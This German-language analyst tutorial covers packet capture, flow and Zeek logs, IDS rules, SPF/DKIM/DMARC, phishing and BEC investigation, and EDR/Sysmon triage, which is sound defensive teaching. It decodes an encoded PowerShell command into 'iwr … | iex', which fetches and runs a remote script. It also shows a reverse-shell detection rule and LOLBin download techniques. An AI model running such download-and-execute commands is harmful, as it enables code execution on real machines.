Netzwerkverkehr analysieren: E-Mails und Endgeräte

Ein Paketmitschnitt speichert die Header und Nutzdaten, die einen Sensor erreichen, in einer .pcap- oder .pcapng-Datei. Er kann neben Adressen, Ports und Zeitangaben auch die Inhalte unverschlüsselter Kommunikation zeigen. Erfasse und speichere ihn gemäß der Überwachungsrichtlinie der Organisation: Ein Mitschnitt kann Passwörter und personenbezogene Daten enthalten.

Einen geeigneten Aufzeichnungspunkt wählen

Ein Netzwerk-TAP kopiert den Verkehr einer Verbindung passiv. Ein SPAN-Port veranlasst einen Switch, ausgewählte Ports oder VLANs zu spiegeln. SPAN kann Kopien verwerfen, wenn sein Ausgang überlastet ist; auch ein TAP, der beide Richtungen zusammenfasst, kann Pakete verlieren, wenn beide Richtungen zusammen die Kapazität des Überwachungsports übersteigen. Ein Mitschnitt auf einem Host zeigt dessen Verkehr. Ein Sensor am Internetübergang verpasst Verkehr, der innerhalb des Netzwerks bleibt. Außerhalb von NAT sieht er eine gemeinsam genutzte öffentliche Adresse. Bewahre daher NAT-Datensätze auf, um den internen Host zu identifizieren.

Breit speichern, gezielt untersuchen

Ein Aufzeichnungsfilter bestimmt, was gespeichert wird. Ein Anzeigefilter verändert die Ansicht bereits gespeicherter Pakete. Ihre Syntax unterscheidet sich:

BPF port 443 schließt auch UDP und damit QUIC ein. Ein enger Aufzeichnungsfilter kann einen anderen Kanal des Angreifers dauerhaft verwerfen. Ein Anzeigefilter kann entfernt werden, sobald die Untersuchung eine andere Richtung nimmt.

Für einen gezielten Mitschnitt verwendest du:

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i wählt die Schnittstelle; -nn belässt Adressen und Ports als Zahlen und vermeidet Namensabfragen; -s 0 behält vollständige Pakete; -w schreibt rohe Pakete. Der Filter schließt Port 22 aus, etwa die SSH-Sitzung eines Analysten. Gespeicherten DNS-Verkehr liest du mit tcpdump -nn -r case42.pcap port 53.

In Wireshark zeigt dns den DNS-Verkehr und http.request zeigt HTTP-Anfragen. Verwende tcp.flags.syn == 1 && tcp.flags.ack == 0 für erste TCP-Verbindungsversuche, tls.handshake.type == 1 für TLS-Client-Hellos und ip.dst == 10.0.0.0/8 für Ziele in diesem Bereich. frame contains "password" findet diesen Text in den aufgezeichneten Bytes. Kombiniere Bedingungen mit &&, || und !.

Aufbewahrung planen und Beweismittel erhalten

Bei 40 % Auslastung überträgt eine Verbindung mit 100 Mbit/s 40 Mbit/s. Dividiert durch acht ergibt das 5 MB/s; über 3.600 Sekunden sind das 18.000 MB oder 18 GB. Ringpuffer überschreiben den ältesten Mitschnitt, während gezielte Mitschnitte den Speicherbedarf verringern. Exportiere relevante Beweismittel, bevor ein Puffer sie überschreibt.

Bei TLS bleiben Adressen, Größen, Zeitangaben und verfügbare Handshake-Metadaten sichtbar. Anwendungsinhalte bleiben verborgen, sofern sie nicht durch Sitzungsschlüssel oder an einem Inspektionspunkt zugänglich sind. Die Sichtbarkeit von DNS und Servernamen hängt ebenfalls von den verwendeten Protokollen ab. Berechne den SHA-256-Hashwert des ursprünglichen Mitschnitts, dokumentiere die Schnittstelle und den Aufzeichnungszeitraum und analysiere eine Kopie. Prüfe die Zeitsynchronisation und die Statistik verworfener Pakete; der tcpdump-Zähler „dropped by kernel“ zeigt Verkehr, den das Aufzeichnungssystem verpasst hat.

Lies ein Paket von den äußeren Zustellinformationen bis zu seinen Anwendungsdaten. Bei Ethernet zeigt Wireshark zuerst MAC-Adressen, dann IP-Adressen und TTL, danach TCP- oder UDP-Ports und schließlich DNS, HTTP, TLS oder ein anderes Anwendungsprotokoll. Der Detailbereich öffnet diese Schichten; der Bytebereich zeigt ihre rohen Hexadezimalwerte.

Den Austausch verfolgen

TCP beginnt mit SYN, SYN-ACK und ACK. In 10.0.0.23:51544 → 203.0.113.80:443 SYN gehört der hohe Quellport zum Client. In der Antwort sind Adressen und Ports vertauscht. FIN fordert einen regulären Verbindungsabbau an; RST beendet die Verbindung abrupt. Ein Reset als Antwort auf ein SYN weist meist auf einen geschlossenen Port hin. Eine ausbleibende Antwort kann durch Filterung, Verlust oder fehlende Sichtbarkeit entstehen. Untersuche daher sowohl die Pakete als auch die Position des Aufzeichnungspunkts.

UDP hat keinen Transport-Handshake. DNS verwendet häufig UDP 53 und auch TCP 53, unter anderem für große Antworten und Zonentransfers. Lies den Eintragstyp der Abfrage: A fragt IPv4 ab, AAAA IPv6, MX Mailserver, TXT Text und CNAME einen Alias. NXDOMAIN bedeutet, dass der angefragte Name nicht existiert.

Folgt auf eine DNS-Antwort eine Verbindung zur zurückgegebenen IP-Adresse, deutet das auf eine Verbindung zwischen beiden hin. Bestätige den angefragten Namen anhand eines HTTP-Host-Headers, einer sichtbaren TLS-SNI, von Proxydatensätzen oder Endgerätedaten: Mehrere Domänen können sich diese Adresse teilen.

Anwendungsaktivität rekonstruieren

Wiresharks Funktion Follow TCP Stream setzt einen Kommunikationsablauf in der richtigen Reihenfolge zusammen und unterscheidet die beiden Richtungen farblich. Statistics → Conversations ordnet kommunizierende Paare nach Paketen und Bytes; Protocol Hierarchy zeigt die Zusammensetzung der Protokolle.

Angenommen, ein Datenstrom enthält:

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

Die Antwort lautet 200 OK, gibt application/octet-stream an und beginnt mit MZ. Diese Bytes deuten auf eine ausführbare Windows-Datei hin. Der .php-Pfad kann beliebigen Inhalt zurückgeben; er muss nicht der Name der heruntergeladenen Datei sein. Prüfe Typ, Hashwert und Signatur des exportierten Objekts und ordne die Anfrage anschließend dem zugehörigen Prozess und der Zielhistorie zu.

GET-Anfragen rufen Inhalte ab; POST-Anfragen senden einen Nachrichtenrumpf. Betrachte Host, Pfad, User-Agent, Antwortstatus und Rumpfgrößen zusammen. Große, wiederholte POST-Nachrichtenrümpfe an ein neues Ziel sollten untersucht werden. Status 301 oder 302 leitet den Client weiter, während 404 eine fehlende Ressource meldet.

File → Export Objects → HTTP oder die entsprechende SMB-Funktion kann übertragene Objekte wiederherstellen, wenn der erforderliche unverschlüsselte Inhalt vorhanden ist. Bewahre wiederhergestellte Samples in der isolierten Analyseumgebung auf und dokumentiere ihre Hashwerte.

Verschlüsselten Verkehr korrekt lesen

Ein Client Hello legt normalerweise die SNI, also den angefragten Servernamen, offen, sofern Encrypted Client Hello ihn nicht schützt. TLS 1.2 legt das Serverzertifikat im Handshake offen; TLS 1.3 verschlüsselt es. JA3- und JA4-Fingerabdrücke fassen Merkmale des Client Hello zusammen und können helfen, ähnliche Clients zu gruppieren. Ein neues Zertifikat, eine fehlende SNI oder ein gemeinsam genutzter Fingerabdruck ist ein Hinweis, der anhand des Prozess- und Zielkontexts geprüft werden sollte.

Port 443 deutet auf HTTPS hin, kann das Protokoll aber nicht belegen. Untersuche den tatsächlichen Austausch oder verwende Decode As, wenn eine Protokollanalyse Hilfe benötigt, um ein Protokoll auf einem ungewöhnlichen Port zu erkennen.

Flow-Datensätze fassen Verkehr zusammen, ohne dessen Nutzdaten aufzubewahren. So lassen sich mehrere Wochen an Aktivitäten praktikabel durchsuchen, bevor ein kurzer Paketmitschnitt abgerufen wird. Das übliche 5-Tupel besteht aus Quell-IP, Ziel-IP, Quellport, Zielport und Transportprotokoll. Datensätze enthalten außerdem Zeiten, Anzahlen und häufig TCP-Flags.

Verstehen, wie die Quelle zählt

NetFlow v5 hat ein festes IPv4-Format; NetFlow v9 verwendet Vorlagen und unterstützt IPv6. IPFIX ist der IETF-Standard, der aus diesem Vorlagenansatz hervorging. Cloud-Flow-Protokolle liefern ähnliche Netzwerkzusammenfassungen. sFlow erfasst Pakete stichprobenartig und ergänzt Schnittstellenzähler, sodass seine Beobachtungen sorgfältig hochgerechnet werden müssen.

Wird 1 von 1.000 Paketen erfasst, stehen 1.200 erfasste Pakete für ungefähr 1,2 Millionen Pakete. Die Schätzung beschreibt das Volumen; eine kurze Verbindung hinterlässt möglicherweise kein erfasstes Paket. Eine leere Stichprobe ist ein schwacher Beleg für die Entscheidung, ob eine bestimmte Verbindung stattgefunden hat.

Exporter erfassen häufig jede Richtung getrennt und teilen lange Verbindungen bei aktiven Zeitüberschreitungen auf. Ordne Datensätze der Gegenrichtung zu, indem du beide Adressen und Ports vertauschst und das Protokoll beibehältst. Führe anschließend Teile derselben Verbindung zusammen. Summiere Bytes getrennt nach Richtung und miss die verstrichene Zeit vom frühesten Beginn bis zum spätesten Ende. Das Addieren überlappender Datensatzdauern vergrößert die Zeit künstlich.

Zeek-Verbindungsdatensätze lesen

Zeek erzeugt strukturierte Verbindungs- und Protokollaufzeichnungen. In conn.log ist ts die Startzeit und uid verknüpft die Verbindung mit Datensätzen etwa in http.log oder ssl.log. Die Felder id.orig_h und id.orig_p bezeichnen den Initiator; id.resp_h und id.resp_p bezeichnen die Gegenstelle. Der Initiator hat den Kommunikationsablauf begonnen und kann ein externer Host sein. proto, service, duration, orig_bytes und resp_bytes beschreiben Transport, erkannte Anwendung und Aktivität.

Bei unbeantworteten Versuchen kann Zeek null Nutzdatenbytes melden, obwohl tatsächlich Pakete vorliegen. Flow-Exporter zählen üblicherweise auch IP-Header, sodass ihre Bytezahlen abweichen. Betrachte Paketzahlen und Zustand zusammen mit den dokumentierten Bytefeldern.

Einen ungewöhnlichen Upload messen

Von 02:10 bis 02:50 Uhr UTC sendet 10.0.0.23 2,4 GB an 198.51.100.7:443 und empfängt 12 MB. Rechne 2,4 GB in 2.400 MB um: Das ausgehende Volumen ist 200-mal so groß wie das eingehende. Vierzig Minuten sind 2.400 Sekunden, daher beträgt die durchschnittliche ausgehende Rate 1 MB/s oder 8 Mbit/s.

Die Rate ist nicht das Urteil. Vergleiche das übliche Volumen, die Zielhistorie und die Rolle des Hosts. Eine geplante Datensicherung kann einen nächtlichen Upload erklären; ein neues Ziel und ein nicht genehmigter sendender Prozess stützen die Hypothese eines Datendiebstahls. Wechsle zum EDR für den verantwortlichen Prozess, zu DNS- oder Proxydaten für den Namen und, falls verfügbar, zu Paketen für den Inhalt. Eine Baseline sollte vergleichbare Rollen gegenüberstellen: Ein Sicherungsserver und eine Arbeitsstation am Empfang haben unterschiedlichen normalen Verkehr.

Netzwerkmuster zeigen dir, wo du untersuchen solltest. Ein genehmigter Scanner und ein Eindringling können sehr ähnliche Pakete erzeugen.

Die Form des Verkehrs erkennen

Ein vertikaler Portscan prüft viele Ports auf einem Host. Ein horizontaler Portscan prüft denselben Port auf vielen Hosts. Sendet 10.0.0.99 innerhalb von 12 Sekunden SYNs an 1.000 Ports auf 10.0.0.5, beträgt die Rate etwa 83 Versuche pro Sekunde. Viele S0- oder REJ-Datensätze und einige erfolgreiche Verbindungen passen zu einem Scan. Prüfe das Scannerinventar und den genehmigten Zeitplan.

Ein nicht autorisiertes Gerät ist ohne Genehmigung verbunden. Vergleiche neue DHCP-Leases und MAC-Adressen mit dem Asset-Inventar; ein unbekanntes Herstellerpräfix, ein nicht autorisierter Zugangspunkt oder ein zweiter DHCP-Server erfordern eine Untersuchung. NAC hilft durchzusetzen, welche Geräte sich verbinden dürfen.

Beurteile Dienste anhand der Hostrolle. SSH verwendet üblicherweise 22, SMTP 25, DNS 53, HTTP 80, HTTPS 443, SMB 445, RDP 3389 und WinRM 5985/5986. Direkt ausgehendes SMTP von einer Arbeitsstation kann auf einen Spam-Bot hindeuten. SMB oder RDP von einer Arbeitsstation zu vielen anderen kann auf laterale Bewegung hindeuten. Verifiziere, welcher Dienst tatsächlich vorhanden ist.

Zeitsteuerung von Benutzeraktivität unterscheiden

Verbindungen um 10:00:00, 10:05:02, 10:09:59, 10:15:01 und 10:20:00 Uhr haben Abstände von 302, 297, 302 und 299 Sekunden. Der Mittelwert beträgt 300 Sekunden und die Abweichung etwa zwei Sekunden. Ähnlich kleine Datenübertragungen in diesen Abständen deuten auf eine Zeitsteuerung hin. Beaconing ist wiederholter C2-Kontakt; auch Update-Agenten nutzen Zeitsteuerungen. Ermittle den auslösenden Prozess und den Zweck des Ziels. Malware kann Jitter hinzufügen, etwa ±20 %, sodass auch ein weniger regelmäßiges Muster Aufmerksamkeit verdient.

DNS-Missbrauch untersuchen

DNS-Tunneling platziert Daten in Abfragenamen, häufig mit langen kodierten Labels und vielen unterschiedlichen Subdomänen. Ein Label kann höchstens 63 Zeichen enthalten; für einen gewöhnlichen vollständigen Namen in Textform gilt eine Grenze von 253 Zeichen. Wiederholte TXT- oder NULL-Abfragen und ein hohes Volumen verstärken den Verdacht. Viele zufällig wirkende Namen, die NXDOMAIN zurückgeben, deuten auf einen DGA hin, der Namen ausprobiert, bis einer aufgelöst wird. Externes DNS über HTTPS kann Aktivitäten auch aus den normalen DNS-Protokollen der Organisation heraushalten.

Eine Regel lesen und verifizieren

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

Der Header legt eine Alarmierung bei TCP-Verkehr vom eigenen Netzwerk zum externen Port 4444 fest. Die Bedingung flow verlangt aufgebauten Verkehr in Richtung Server; sid identifiziert die Regel und rev ihre Revision. Die Meldung nennt eine mögliche Reverse-Shell, aber diese Regel prüft ein Verbindungsmuster und keine Shell-Befehle.

Snort und Suricata gleichen Verkehr mit Regeln ab; Zeek liefert hauptsächlich Protokolle und Verhaltensskripte. Verifiziere eine IDS-Alarmmeldung anhand ihrer Pakete, der Plattform des Ziels und der Endgeräteänderungen nach dem Austausch. Der Erkennungsmodus beobachtet Kopien; ein direkt im Verkehrsweg liegendes IPS kann Verkehr blockieren, sodass ein fehlerhafter Treffer den Betrieb stören kann.

Die Adresse, die ein Leser sieht, und die bei der E-Mail-Zustellung geprüfte Identität stehen in unterschiedlichen Feldern. Beginne mit der ursprünglichen .eml- oder .msg-Datei, damit die Header erhalten bleiben, die eine weitergeleitete Kopie ersetzen kann. Ein Header-Analysewerkzeug kann die Belege ordnen, aber du musst weiterhin wissen, welcher Server das jeweilige Ergebnis geschrieben hat.

Identitäten und vertrauenswürdige Stationen finden

Der SMTP-Envelope-Absender wird für Unzustellbarkeitsmeldungen verwendet und erscheint in Return-Path. Der Header From ist der sichtbare Absender. Reply-To steuert Antworten und Message-ID hilft, zugehörige E-Mail-Datensätze zu finden. Ein Versanddienst kann rechtmäßig eine Envelope-Domäne verwenden, die sich von der sichtbaren Domäne seines Kunden unterscheidet.

Jeder weiterleitende Server stellt eine Received-Zeile voran. Lies den Übertragungsweg von unten nach oben, bestimme die Vertrauenswürdigkeit aber anhand der Einträge deines eigenen Gateways: Ein Absender kann Zeilen unterhalb des ersten vertrauenswürdigen Eintrags fälschen. Auch ein optionales Feld X-Mailer wird vom Absender kontrolliert. Verwende die sendende IP-Adresse, die dein vertrauenswürdiger Empfangsserver erfasst hat.

Die drei Prüfungen anwenden

Ein SPF-TXT-Eintrag wie v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autorisiert diesen Bereich und die einbezogenen Absender. -all bewirkt für andere Absender ein Fehlschlagen; ~all einen Softfail. Ergebnisse können auch neutral, none, temperror oder permerror sein. Eine Weiterleitung führt häufig zum Fehlschlagen von SPF, weil die IP-Adresse des weiterleitenden Servers von der ursprünglichen Envelope-Domäne nicht autorisiert ist.

Bei DKIM nennt d= die signierende Domäne und s= wählt ihren Schlüssel unter <selector>._domainkey.<domain> aus. Eine erfolgreiche Signatur bedeutet, dass das signierte Material unverändert geblieben ist. Eine Weiterleitung kann sie erhalten, während das Umschreiben der Nachricht sie ungültig machen kann.

Der gelockerte DMARC-Abgleich akzeptiert dieselbe Organisationsdomäne; der strikte Abgleich verlangt eine exakte Übereinstimmung der Domänen. Die TXT-Richtlinie unter _dmarc.<domain> kann none, quarantine oder reject anfordern; der Empfänger entscheidet über die Behandlung. RFC 9989 ersetzte den älteren DMARC-Standard im Mai 2026, entfernte pct und führte den Testmodus t=y ein. Prüfe eine Richtlinie mit nslookup -type=txt _dmarc.example.com.

Ein Authentifizierungsergebnis durchgehen

Dein Gateway meldet SPF-Erfolg für mailer.example-billing.net, DKIM-Erfolg für example-billing.net und From examp1e.com. Keine der erfolgreich geprüften Domänen stimmt mit der sichtbaren Domäne überein, daher schlägt DMARC fehl. SPF und DKIM haben unterschiedliche Identitäten authentifiziert; die sichtbare Adresse haben sie nicht authentifiziert.

Lies nur die Authentication-Results, die ein vertrauenswürdiges Gateway hinzugefügt hat. Eine korrekt konfigurierte, ähnlich aussehende Domäne eines Angreifers kann alle drei Prüfungen bestehen, ebenso ein kompromittiertes legitimes Postfach. Kombiniere die Authentifizierung mit Absendervorgeschichte, Nachrichteninhalt und Linkanalyse. Prüfe umgekehrt, ob Weiterleitung oder Änderungen durch eine Mailingliste ein Fehlschlagen erklären, bevor du es als Absenderfälschung bezeichnest.

Phishing versucht, eine Nachricht in eine schädliche Handlung münden zu lassen: Zugangsdaten preiszugeben, Geld zu senden oder eine Datei auszuführen. Der stärkste Hinweis ist oft eine Abweichung vom normalen Ablauf des Empfängers. Flüssige Texte und einen vertrauten Namen kann ein Angreifer leicht liefern.

Absender und Ziel genau lesen

Bei der Fälschung des Anzeigenamens steht ein vertrauenswürdiger Name über einer nicht zugehörigen Adresse, etwa "IT Service Desk" <it.desk.2291@freemail.example>. Typosquatting verändert die Schreibweise einer Domäne; ähnliche Domänen ergänzen vertrauenerweckende Wörter. Homoglyphen ersetzen Zeichen durch ähnlich aussehende Zeichen aus anderen Alphabeten. Ein kyrillischer Anfangsbuchstabe macht аpple.com zu einer anderen Domäne; ihre Punycode-Form ist xn--pple-43d.com.

Die sichtbare Beschriftung eines Links kann vom tatsächlichen Ziel abweichen. Kürzungsdienste und offene Weiterleitungen verbergen nachfolgende Ziele. In https://www.example.com@198.51.100.7/login ist der Host 198.51.100.7; der Teil vor @ ist eine Benutzerangabe. In https://example.com.login-verify.net/ ist login-verify.net die registrierte Domäne. Wer die vertrauenerweckenden Wörter ganz links liest, kann falsch einschätzen, wer das Ziel kontrolliert.

Die geforderte Handlung erkennen

Dringlichkeit, vorgetäuschte Autorität einer Führungskraft, Drohungen mit Kontoschließung, Gutscheinkarten und Änderungen der Bankverbindung drängen den Empfänger dazu, etablierte Prüfungen zu umgehen. Spear-Phishing nutzt Recherchen über ein bestimmtes Ziel; Whaling richtet sich an Führungskräfte. Verwandte Zustellungsformen sind Smishing per SMS, Vishing per Sprachanruf und Quishing über QR-Codes. Ein QR-Code kann einen Link auf ein Smartphone verlagern, wo er die E-Mail-Linkfilterung umgeht.

Anhänge können Makrodokumente, HTML-Anmeldeseiten oder HTML-Smuggling, passwortgeschützte Archive, Datenträgerabbilder, LNK-Verknüpfungen oder PDFs mit Links enthalten. Aktuelle Office-Versionen blockieren Makros standardmäßig in als aus dem Internet stammend markierten Dateien. Deshalb können Nachrichten Benutzer anleiten, die Blockierung aufzuheben. Ein Archivpasswort erschwert die Prüfung, obwohl einige Gateways das Passwort aus der Nachricht extrahieren und den Inhalt scannen können.

Zahlungsbetrug ohne Malware untersuchen

Bei Business Email Compromise, kurz BEC, gibt sich jemand als Kollege, Führungskraft oder Lieferant aus, um Geld, Änderungen von Zahlungsdaten oder sensible Informationen zu erlangen. Dazu kann eine ähnlich aussehende Adresse oder ein echtes kompromittiertes Postfach verwendet werden. Oft enthält die Nachricht keinen Link und keinen Anhang, sodass Scanner wenig zu prüfen haben. Ein geändertes Reply-To oder eine neue Regel, die Antworten verbirgt, ist ein nützlicher zusätzlicher Beleg.

In einem bestehenden Rechnungsaustausch bittet ein bekannter Lieferant darum, eine Zahlung über 48.000 € auf ein neues Bankkonto zu überweisen. Die Authentifizierung ist erfolgreich. Das Postfach wurde kompromittiert und der Angreifer hat Thread-Hijacking genutzt, um sich das Vertrauen in den Austausch zunutze zu machen. Bestätige die Anfrage über eine bereits in den Lieferantendaten hinterlegte Telefonnummer, bevor du Zahlungsdaten änderst. Eine in der Nachricht angegebene Nummer ist Teil der ungeprüften Anfrage.

Auch eine interne Adresse kann kompromittiert sein; beziehe interne Empfänger und Antworten in die Untersuchung des Kontos ein.

Eine Phishing-Untersuchung hat zwei Aufgaben: die Nachricht verstehen und alle Personen finden, die sie erreicht hat. Eine gemeldete Kopie ist ein Ausgangspunkt. Die Handlung eines Empfängers bestimmt, welche Konto- oder Hostbelege du als Nächstes benötigst.

Die Nachricht sichern und untersuchen

Exportiere das Original mit vollständigen Headern und kopiere URLs anschließend als Text zur Untersuchung in einer isolierten Analyseumgebung. Halte Indikatoren in entschärfter Form fest, etwa hxxps://login-verify[.]net/acct, um versehentliche Klicks in Tickets zu verhindern. Bewahre das unangetastete Original neben der Arbeitskopie auf.

E-Mail-Gateways können eine URL in einen Parameter einer anderen URL einbetten. Die Prozentkodierung stellt Zeichen mit einem Prozentzeichen und zwei Hexadezimalziffern dar: %3A ist ein Doppelpunkt und %2F ein Schrägstrich. Dekodiere jeweils eine Ebene und untersuche das Ergebnis, bevor du eine weitere Ebene interpretierst.

Die URL-Dekodierung von:

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

ergibt zum Beispiel https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Die Base64-Dekodierung des Werts von u ergibt jane@example.org. Der Parameter identifiziert den vorgesehenen Empfänger und kann die gefälschte Seite personalisieren. Die CyberChef-Operationen URL Decode, From Base64 und Defang URL machen diese einzelnen Umwandlungen sichtbar.

Entferne vor dem Einreichen einer URL bei einem öffentlichen Dienst Werte, die das Opfer identifizieren; ein öffentliches Ergebnis oder eine personalisierte Anfrage kann dem Angreifer die Untersuchung offenlegen. Prüfe gekürzte Links über einen genehmigten Analysedienst in der Vorschau. Neben der URL selbst sind auch die Sichtbarkeit und das Einreichungsverhalten des Dienstes wichtig.

Dateien untersuchen und Suchfelder extrahieren

Berechne den SHA-256-Hashwert eines Anhangs und schlage seine Reputation nach, bevor du ihn hochlädst. Prüfe seinen Typ anhand der ersten Bytes. Bei einer Office-Datei kann olevba Makros auflisten und automatische Auslöser wie AutoOpen oder Document_Open sowie Aufrufe wie Shell markieren. Verwende für vertrauliche interne Inhalte eine private Sandbox.

Sammle Absenderadresse und Anzeigename, die IP-Adresse im vertrauenswürdigen Received-Eintrag, Betreff, Message-ID, URL-Hosts und -Pfade sowie Anhangsnamen und Hashwerte. Bewahre genaue Werte als Beweismittel auf; verwende entschärfte Kopien in Notizen. Ein Dateiname kann sich zwischen Nachrichten ändern, während ein identischer Hashwert weiterhin identischen Dateiinhalt verknüpft.

Empfänger und Interaktionen ermitteln

Durchsuche Gateway- und Postfachdatensätze anhand mehrerer dieser Felder. Liste die Empfänger auf und unterscheide dann Zustellung und Interaktion anhand von DNS- und Proxydatensätzen, Anmeldungen nach Linkaufrufen und EDR-Ereignissen zum Öffnen und Ausführen von Anhängen.

Eine Suche kann 40 zugestellte Nachrichten, sechs Personen mit Linkaufruf und zwei Konten mit unbekannten erfolgreichen Anmeldungen wenige Minuten später finden. Sichere die Datensätze, entferne die Nachrichten der Angriffskampagne und blockiere die bösartige URL oder Domäne im Rahmen des Reaktionsprozesses. Für die zwei betroffenen Konten müssen die Passwörter zurückgesetzt und aktive Sitzungen widerrufen werden. Eine reine Empfängerliste würde den Unterschied zwischen Kontakt mit der Nachricht und wahrscheinlicher Kompromittierung übersehen.

Wird das Ticket geschlossen, weil der meldende Benutzer die Nachricht gelöscht hat, bleiben die anderen Empfänger ungeprüft. Dokumentiere, wer sie erhalten und wer interagiert hat, was danach geschah und welche Belege noch fehlen.

Endgerätetelemetrie verbindet Netzwerk- und Dateibelege mit dem Programm, das sie verursacht hat. EDR zeichnet Endgeräteaktivität auf, erkennt verdächtiges Verhalten und ermöglicht Untersuchungen und Reaktionen aus der Ferne. Sein Verlauf kann Aktivitäten zeigen, die der aktuelle Zustand einer Datei nicht mehr erkennen lässt.

Die richtige Quelle wählen

Herkömmliche Antivirensoftware konzentriert sich auf das Blockieren bekannter bösartiger Dateien. EDR ergänzt den Verlauf von Prozessen, Dateien, Registrierung, Verbindungen und Anmeldungen. XDR führt Endgerätebelege mit Netzwerk-, E-Mail-, Identitäts- und Cloud-Quellen zusammen. MDM verwaltet Smartphones und Tablets: Sein Inventar und seine Konformitätsdatensätze können nicht genehmigte Apps, Rooting oder Jailbreaking aufdecken; außerdem unterstützt es Maßnahmen wie das Sperren oder Löschen von Geräten.

Windows-Sicherheitsereignisse bieten nützliche Anhaltspunkte:

Auch Systemereignis 7045 zeichnet eine Dienstinstallation auf. Windows speichert Ereignisse in .evtx-Dateien, die für die strukturierte Suche exportiert werden können. Verwende unter Linux auditd, Authentifizierungsprotokolle und das Systemjournal.

Die Prozessidentität von Sysmon nutzen

Sysmon ist als integrierte optionale Funktion unter Windows 11 und Windows Server 2025 sowie als Sysinternals-Download für andere Systeme verfügbar. Ereignis 1 zeichnet die Prozesserstellung mit vollständiger Befehlszeile, Elternprozess, Hashwerten und einer Prozess-GUID auf. Diese GUID unterscheidet Prozesse auch dann, wenn das Betriebssystem eine PID erneut vergibt.

Weitere nützliche Ereignisse sind 3 für Netzwerkverbindungen, 11 für Dateierstellung, 12–14 für Registrierungsänderungen und 22 für DNS-Abfragen. Ereignis 3 ist standardmäßig deaktiviert, weil es ein erhebliches Datenvolumen erzeugen kann. Prüfe die aktive Konfiguration, bevor du ein fehlendes Ereignis als fehlende Aktivität interpretierst.

Von einer Alarmmeldung aus weiter untersuchen

Beginne mit Host, Benutzer, Erkennung und Prozessbaum. Lies, was den Prozess gestartet hat, was er gestartet hat und auf welche Dateien, Registrierungswerte und Ziele er zugegriffen hat. Erweitere die Zeitleiste vor und nach der Alarmmeldung; der Zeitstempel einer Erkennung ist nicht unbedingt der Beginn des Angriffs.

Wechsle von einem Hashwert zu allen Hosts mit dieser Datei oder von einem Ziel zu allen Hosts, die es kontaktiert haben. Der Verbreitungsgrad liefert Kontext: Ein unbekanntes Programm auf einem von 5.000 Hosts ist ungewöhnlich, während Software auf allen Hosts eine Standardinstallation sein kann. Vergleiche beides mit genehmigter Software und genehmigtem Verhalten; auch weit verbreitete bösartige Aktivität kann einen hohen Verbreitungsgrad haben.

Reaktion und Sichtbarkeit aufeinander abstimmen

EDR kann einen Host isolieren, einen Prozess stoppen, eine Datei in Quarantäne stellen oder sichern, einen Hashwert blockieren und eine Live-Response öffnen. Die Isolierung erhält normalerweise die Verwaltungsverbindung, während sie den übrigen Netzwerkzugang einschränkt. Folge dem Reaktions-Playbook und sichere benötigte Beweismittel vor Aktionen, die Prozessspeicher zerstören oder Dateien verändern.

Prüfe den Sensorstatus, wenn die Konsole keine Meldungen zeigt: Installationsstatus, kürzlich erfolgte Meldungen, Konfiguration und Anzeichen von Manipulation. Ein gestoppter Agent erzeugt eine Überwachungslücke und kann selbst Teil des Angriffs sein.

Ein Prozessname ist nur ein Feld einer Untersuchung. Prüfe den Pfad der ausführbaren Datei, Elternprozess, Benutzer, Befehlszeile, Signatur und Hashwert zusammen. Halte die PID mit ihrer Startzeit fest oder nutze eine Prozess-GUID, um nicht verschiedene Prozesse zu verknüpfen, denen dieselbe PID erneut zugewiesen wurde.

Name, Pfad und Elternprozess vergleichen

Ein normaler svchost.exe läuft aus C:\Windows\System32, wird von services.exe gestartet und hat normalerweise ein Gruppenargument -k. lsass.exe läuft als einzelne Instanz aus demselben Systemverzeichnis und wird von wininit.exe gestartet; auch services.exe hat diesen Elternprozess. Explorer läuft normalerweise pro angemeldetem Benutzer und sein Elternprozess userinit.exe wird beendet. Ein fehlender laufender Elternprozess bei Explorer ist daher anders zu interpretieren als ein von Word gestarteter Systemprozess.

Ein leicht abweichender Name wie scvhost.exe, ein Systemname in C:\Users\Public oder ein ungewöhnlicher LSASS-Elternprozess deutet auf Maskierung hin. Wenn Office eine Shell startet, ist das ein weiterer wichtiger Hinweis: Verfolge WINWORD.EXE oder EXCEL.EXE zu cmd.exe, PowerShell, wscript.exe oder mshta.exe. Startet auf einem Webserver w3wp.exe eine Befehlsshell, deutet das auf eine Webshell hin.

Lesen, was signierte Werkzeuge ausführen sollen

LOLBins sind legitime Systemprogramme, die ein Angreifer missbraucht. certutil.exe kann mit -urlcache -split -f eine Datei herunterladen; mshta.exe kann eine HTML-Anwendung von einer URL ausführen; rundll32.exe und regsvr32.exe können DLL- oder Skriptcode ausführen. bitsadmin.exe kann Dateien übertragen und wmic process call create startet Prozesse. Ihre gültigen Signaturen benennen die Herausgeber der Programme, während Elternprozess und Argumente ihre Verwendung in diesem Fall zeigen.

PowerShell-Parameter wie -nop, -w hidden, -ExecutionPolicy Bypass und -enc verdienen eine genaue Prüfung. IEX führt Text als Code aus; iwr und DownloadString rufen Inhalte ab. Die Skriptblockprotokollierung, Ereignis 4104, kann dekodierte Skriptinhalte offenlegen.

Vor dem Urteil dekodieren

PowerShell -EncodedCommand verwendet Base64-kodierten UTF-16LE-Text. Wende für -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA== in CyberChef From Base64 und anschließend Decode text as UTF-16LE an. Das Ergebnis ist:

iwr http://198.51.100.7/a.ps1 | iex

iwr ruft das Skript ab und die Pipeline übergibt es zur Ausführung an iex. So kann Code ausgeführt werden, ohne das heruntergeladene Skript als Datei zu speichern. Durch Nullbytes getrennte Buchstaben nach der Base64-Dekodierung weisen auf die fehlende UTF-16LE-Interpretation hin.

